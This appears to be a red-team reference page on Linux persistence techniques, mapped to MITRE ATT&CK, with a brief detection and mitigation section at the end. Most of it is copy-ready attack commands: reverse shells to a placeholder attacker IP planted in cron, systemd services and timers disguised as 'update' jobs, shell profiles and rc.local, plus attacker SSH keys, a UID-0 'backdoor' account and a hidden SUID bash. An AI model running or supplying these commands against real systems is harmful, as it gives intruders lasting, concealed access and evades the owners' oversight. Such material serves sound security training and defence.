Linux Persistence
Overview
Linux persistence mechanisms exploit cron jobs, SSH keys, systemd services, shell profiles, and other system features to maintain access. Root access significantly expands persistence options, but many techniques work at the user level. Choose methods that blend with normal system activity to reduce detection risk.
ATT&CK Mapping
- Tactic: TA0003 - Persistence
- Techniques:
- T1053.003 - Scheduled Task/Job: Cron
- T1098.004 - Account Manipulation: SSH Authorized Keys
- T1543.002 - Create or Modify System Process: Systemd Service
- T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
Prerequisites
- Shell access to the target (user or root)
- Network connectivity for callback-based persistence
Techniques
SSH Authorized Keys
Add an attacker-controlled SSH key for password-less access:
# Generate key pair on attacker
ssh-keygen -t ed25519 -f /tmp/persistence_key -N ""
# On target — add public key to authorized_keys
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Connect from attacker
ssh -i /tmp/persistence_key <user>@<target>
As root, add keys for any user:
# Add key to root's authorized_keys
echo "<attacker_public_key>" >> /root/.ssh/authorized_keys
Cron Job Persistence
# User-level cron — reverse shell every minute
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'") | crontab -
# Verify
crontab -l
Root-level cron persistence:
# Write to system crontab (requires root)
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" >> /etc/crontab
# Or drop a file in /etc/cron.d/
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" > /etc/cron.d/update
Systemd Service (Requires Root)
Create a systemd service that starts on boot:
# Create a service file
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
Restart=on-failure
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service
User-level systemd service (no root needed):
mkdir -p ~/.config/systemd/user/
cat > ~/.config/systemd/user/update.service << 'EOF'
[Unit]
Description=User Update Service
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
Restart=on-failure
RestartSec=30
[Install]
WantedBy=default.target
EOF
systemctl --user daemon-reload
systemctl --user enable update.service
systemctl --user start update.service
Shell Profile Modification
Inject commands into shell startup files — runs when the user logs in:
# Append to .bashrc (runs on interactive non-login shells)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> ~/.bashrc
# Append to .bash_profile or .profile (runs on login shells)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> ~/.bash_profile
# For all users (requires root)
echo '/bin/bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" &' >> /etc/profile
Add User Account
# Add a new user with password (requires root)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
# Add to sudo group
usermod -aG sudo backdoor
# Or add directly to /etc/passwd with UID 0 (root equivalent)
echo "backdoor:$(openssl passwd -1 password123):0:0::/root:/bin/bash" >> /etc/passwd
SUID Binary Backdoor
# Copy bash and set SUID (requires root)
cp /bin/bash /tmp/.backdoor
chmod u+s /tmp/.backdoor
# Execute later for root shell
/tmp/.backdoor -p
rc.local
On systems that support rc.local (runs at boot):
# Create or append to /etc/rc.local (requires root)
cat > /etc/rc.local << 'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' &
exit 0
EOF
chmod +x /etc/rc.local
Systemd Timer
Alternative to cron using systemd timers:
# Create timer (requires root)
cat > /etc/systemd/system/update.timer << 'EOF'
[Unit]
Description=System Update Timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=5min
[Install]
WantedBy=timers.target
EOF
# Create corresponding service
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
EOF
systemctl daemon-reload
systemctl enable update.timer
systemctl start update.timer
Detection Methods
Host-Based Detection
- Unexpected entries in crontab or
/etc/cron.d/ - Unknown systemd services or timers in
/etc/systemd/system/ - Unauthorized SSH keys in
~/.ssh/authorized_keys - SUID binaries in unusual locations (
/tmp,/dev/shm) - Modifications to shell profiles (
.bashrc,.profile,/etc/profile) - New user accounts or accounts with UID 0
Network-Based Detection
- Periodic outbound connections to the same destination (cron/timer callbacks)
- SSH connections from unexpected source IPs
Mitigation Strategies
- Monitor authorized_keys — alert on changes to SSH key files
- Audit cron/systemd — regularly review scheduled tasks and services
- File integrity monitoring — detect changes to shell profiles and system files
- Restrict SUID — mount
/tmpand/dev/shmwithnosuidoption - Account auditing — alert on new user creation and UID 0 accounts